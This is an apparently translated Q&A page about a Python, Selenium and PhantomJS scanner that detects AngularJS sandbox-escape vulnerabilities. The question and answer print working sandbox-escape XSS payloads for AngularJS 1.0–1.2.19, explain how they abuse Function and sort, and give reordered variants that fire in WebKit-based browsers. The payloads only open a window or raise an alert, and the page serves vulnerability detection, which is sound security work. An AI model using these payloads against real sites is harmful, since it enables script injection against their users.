Tij*_*jme 10 javascript webkit google-chrome blink phantomjs
我正在使用Python构建一个应用程序,用于检查某个Web应用程序是否容易受到AngularJS Sandbox Escape/Bypass的影响.
下面是它的工作原理.
我的应用程序http://localhost使用以下内容启动本地Web服务器().
<!DOCTYPE html>
<html>
<head>
<script src="https://code.angularjs.org/1.2.19/angular.min.js"></script>
</head>
<body ng-app="">
{{c=toString.constructor;p=c.prototype;p.toString=p.call;["a","open(1)"].sort(c)}}
</body>
</html>
Run Code Online (Sandbox Code Playgroud)
我正在使用的Sandbox Escape有效负载{{c=toString.constructor;p=c.prototype;p.toString=p.call;["a","open(1)"].sort(c)}},应该打开一个新窗口open(1).
启动Web服务器后,它使用Selenium(使用PhantomJS作为驱动程序)来检查是否由于AngularJS Sandbox Escape而打开了一个新窗口.
capabilities = dict(DesiredCapabilities.PHANTOMJS)
capabilities["phantomjs.page.settings.XSSAuditingEnabled"] = False
browser = webdriver.PhantomJS(
executable_path="../phantomjs/win-2.1.1",
desired_capabilities=capabilities,
)
browser.get("http://localhost/")
return len(browser.window_handles) >= 2
Run Code Online (Sandbox Code Playgroud)
我面临的问题
PhantomJS无法打开新窗口.当我导航到http://localhost使用谷歌浏览器时,它会打开一个新窗口.
这是PhantomJS控制台日志(包含两个错误):
[
{
"level":"WARNING",
"message":"Error: [$interpolate:interr] http://errors.angularjs.org/1.2.19/$interpolate/interr?p0=%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bc%3DtoString.constructor%3Bp%3Dc.prototype%3Bp.toString%3Dp.call%3B%5B'a'%2C'open(1)'%5D.sort(c)%7D%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20&p1=SyntaxError%3A%20Expected%20token%20')'\n (anonymous function) (https://code.angularjs.org/1.2.19/angular.min.js:92)",
"timestamp":1501431637142
},
{
"level":"WARNING",
"message":"Error: [$interpolate:interr] http://errors.angularjs.org/1.2.19/$interpolate/interr?p0=%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bc%3DtoString.constructor%3Bp%3Dc.prototype%3Bp.toString%3Dp.call%3B%5B'a'%2C'open(1)'%5D.sort(c)%7D%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20&p1=Error%3A%20%5B%24parse%3Aisecfn%5D%20http%3A%2F%2Ferrors.angularjs.org%2F1.2.19%2F%24parse%2Fisecfn%3Fp0%3Dc%253DtoString.constructor%253Bp%253Dc.prototype%253Bp.toString%253Dp.call%253B%255B'a'%252C'open(1)'%255D.sort(c)\n (anonymous function) (https://code.angularjs.org/1.2.19/angular.min.js:92)",
"timestamp":1501431637142
}
]
Run Code Online (Sandbox Code Playgroud)
这是Google Chrome控制台日志(抛出错误但会打开一个新窗口):
Error: [$interpolate:interr] http://errors.angularjs.org/1.2.19/$interpolate/interr?p0=%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bc%3DtoString.constructor%3Bp%3Dc.prototype%3Bp.toString%3Dp.call%3B%5B'a'%2C'open(1)'%5D.sort(c)%7D%7D%20%20%20%20%20%20%20%20%20%20%20%20%0A%0A&p1=Error%3A%20%5B%24parse%3Aisecfn%5D%20http%3A%2F%2Ferrors.angularjs.org%2F1.2.19%2F%24parse%2Fisecfn%3Fp0%3Dc%253DtoString.constructor%253Bp%253Dc.prototype%253Bp.toString%253Dp.call%253B%255B'a'%252C'open(1)'%255D.sort(c)
at angular.js:36
at Object.r (angular.js:8756)
at k.$digest (angular.js:12426)
at k.$apply (angular.js:12699)
at angular.js:1418
at Object.d [as invoke] (angular.js:3917)
at c (angular.js:1416)
at cc (angular.js:1430)
at Xc (angular.js:1343)
at angular.js:21773
Run Code Online (Sandbox Code Playgroud)
其他一些AngularJS Sandbox Escape有效负载可以正常工作.例如,下面的有效负载(对于AngularJS版本1.0.0到1.1.5)在Chrome和PhantomJS中打开一个新窗口.
{{constructor.constructor('open(1)')()}}
我希望有人能帮助我解决这个问题,以便我能够检测到有效负载是否成功执行.
请注意我使用的是open(1)代替,alert(1)因为它无法在PhantomJS中检测到警报.
提前致谢.
更新1:
这是一个可以在Google Chrome中使用的JSFiddle,但在PhantomJS中不起作用.我正在寻找一个解决方案(可能是有效载荷或PhantomJS设置或其他东西的变化),以便有效载荷也在PhantomJS中触发.
https://jsfiddle.net/x90ey5fa/
更新2:
我发现它与AngularJS无关.下面的JSFiddle包含4行JavaScript,可以在Google Chrome中使用,但在PhantomJS中不起作用.我还从PhantomJS附加了控制台日志.
https://jsfiddle.net/x90ey5fa/2/
{'level': 'WARNING', 'message': "SyntaxError: Expected token ')'\n Function (undefined:1)\n sort (:0)", 'timestamp': 1501795341539}`
Run Code Online (Sandbox Code Playgroud)
版本细节:
Operating System: Windows 10 x64
Python version: 3.6.1
Google Chrome version: 60.0.3112.78
PhantomJS version: 2.1.1
Selenium version: 3.4.3 (installed via PIP)
你的 Safari 错误非常有启发性(我很后悔自己没有更仔细地阅读它)。观察:
语法错误:意外的标记“(”。参数声明后应有“)”或“,” 。
这parameter declaration部分很重要。
有效负载的作用是
c为toString构造函数Function(创建函数)Function原型的toString方法重定向到callc,从而通过创建一个新函数Function("a", "open(1)")sort通过 转换为字符串toString,该字符串已被重定向到call,导致调用新函数,该函数调用open(1)无论如何,这就是 Chrome 中的工作原理。然而,.sort()不一定在所有浏览器中都以相同的方式工作。它只是应该对事物进行排序......那么为什么它查看项目的顺序很重要呢?毕竟,传递的函数应该确保一切都以正确的顺序出现。
正如MDN 所说,语法Function是
Function ([arg1[, arg2[, ...argN]],] functionBody)
Run Code Online (Sandbox Code Playgroud)
WebKit 将其“向后”排序,因此它不是调用Function("a", "open(1)"),而是使调用成为Function("open(1)", "a")。当给出多个参数时,最后一个参数被假定为函数体,其余所有参数都被解释为参数。这就是为什么你会得到意想不到的令牌。括号不是参数名称的有效部分。
这是一个替代方案:
c=toString.constructor;p=c.prototype;p.toString=p.call;["open(1)","a"].sort(c)
Run Code Online (Sandbox Code Playgroud)
我在基于 QtWebKit 的浏览器中对其进行了测试,并且它有效。当然,它也会在 Chrome 上导致 SyntaxError,因为参数是“向后”的......
下面是一些尝试让它在 PhantomJS 和 Chrome 上的 Angular 中无缝工作。再说一次,这些都不起作用。我将这些留在这里,以防它们激励某人创建更完整的解决方案。
适用于 PhantomJS 和 Chrome,但不适用于 Angular(由于function):
[1, 0].sort(function(a, b){n=a});d=(n)?["a","open(1)"]:["open(1)","a"];c=toString.constructor;p=c.prototype;p.toString=p.call;d.sort(c)
Run Code Online (Sandbox Code Playgroud)
适用于 Chrome 上的 Angular,但不适用于 PhantomJS:
c=toString.constructor;p=c.prototype;p.toString=p.call;['b=1','d=1'].sort(c);((window.b===undefined)?["a","alert(1)"]:['alert(1)','a']).sort(c)
Run Code Online (Sandbox Code Playgroud)
| 归档时间: |
|
| 查看次数: |
543 次 |
| 最近记录: |